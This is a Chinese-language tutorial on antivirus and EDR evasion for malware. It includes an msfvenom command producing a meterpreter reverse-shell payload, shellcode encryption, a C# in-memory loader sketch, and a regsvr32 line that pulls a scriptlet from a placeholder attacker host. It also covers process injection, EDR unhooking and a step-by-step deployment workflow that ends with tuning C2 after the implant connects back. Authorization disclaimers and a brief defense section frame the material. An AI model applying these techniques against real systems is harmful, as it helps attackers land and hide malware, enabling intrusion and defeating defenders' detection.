免杀实战深化:加载器、分离与 EDR 对抗

免杀深化:自定义加载器编写思路、shellcode 加密与分离、LOLBins 白名单、进程注入、Unhook 与 EDR 行为对抗。

写在前面:合法学习边界

免杀技术仅用于授权测试与安全研究。对真实系统投放免杀样本可能触犯法律。本文只讲思路与原理。

一、原理:免杀的三个层面

1
2
3
静态层:文件特征(特征码/字符串/哈希)
加载层:如何把 shellcode 放进内存执行
行为层:运行时的敏感调用与回连(EDR 重点)

深化免杀 = 三层都过,尤其要过行为层(EDR)

二、静态免杀深化

1. shellcode 加密(AES/XOR/自定义)

1
2
3
4
# 生成原始 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f raw -o payload.bin
# 用脚本对 payload.bin 做 AES 加密,运行时解密
# 解释:加密后文件没有 shellcode 明文特征,静态不命中

2. 特征码定位与混淆

1
2
3
用工具(如 x64dbg/特征定位)找到被杀的字节段
替换变量名、字符串、加花指令
避免硬编码 C2 地址明文

三、加载器免杀深化

1. 自定义加载器(C#/Go/Rust)

1
2
3
4
步骤:VirtualAlloc 申请内存 → 解密 shellcode →
      拷贝进内存 → CreateThread/回调执行
解释:自己写加载器,避免已知工具特征;语言选
      Go/Rust 体积与特征通常更好
1
2
3
4
5
// C# 示意(仅原理)
byte[] buf = Decrypt(File.ReadAllBytes("payload"));
IntPtr mem = VirtualAlloc(...);
Marshal.Copy(buf, 0, mem, buf.Length);
CreateThread(IntPtr.Zero, 0, mem, ...);

2. 分离式(不落地)

1
2
3
shellcode 从远端/图片/文件流拉取,内存执行
或放进资源、隐写进图片(图片马)
避免磁盘上出现恶意文件

四、LOLBins 白名单加载

1
2
3
4
利用系统自带工具加载/执行:
regsvr32、rundll32、mshta、cscript、certutil、msiexec
例:regsvr32 /s /n /u /i:http://攻击机/x.sct scrobj.dll
解释:走白名单程序,绕过“禁止未知进程”策略

五、行为免杀(EDR 对抗)

1. 降低敏感 API 特征

1
2
动态解析 API(GetProcAddress + 偏移),避免导入表特征
分步、异步、延迟执行,绕“内存扫描+行为分析”

2. 进程注入

1
2
3
注入白进程(explorer/svchost)内存中运行
远程线程注入 / APC 注入 / 回调注入
解释:文件不落地、进程是白名单,EDR 难定位

3. Unhook / 清理钩子

1
2
从磁盘重新映射 nt dll,恢复被 EDR 挂钩的函数
降低行为层检测命中

六、实战操作步骤

1
2
3
4
5
6
第 1 步:生成并加密 shellcode
第 2 步:写自定义加载器(内存执行)
第 3 步:本地 VT/杀软静态验证,迭代混淆
第 4 步:动态验证(跑起来看 EDR 是否报行为)
第 5 步:结合白名单/进程注入降低行为特征
第 6 步:上线后改 C2 特征、降频

七、检测与防御(对立面)

1
2
3
4
EDR:行为检测(注入/敏感 API/回连)+ 内存扫描
应用白名单:禁止未签名程序运行
Unhook 检测:检测敏感 dll 被重新映射
威胁狩猎:异常进程链与内存特征

影响与适用

免杀能力决定样本能否落地执行,滥用风险高。仅用于授权测试与安全研究,禁止对真实系统投放免杀样本。

八、小结

免杀深化 = “静态混淆 → 加载器分离 → 白名单加载 → 进程注入 → 行为对抗”五层递进。核心是过 EDR 的行为层,而不只是过静态杀软。它是与防御的持续对抗,无“一劳永逸”。再次强调:仅授权内研究使用。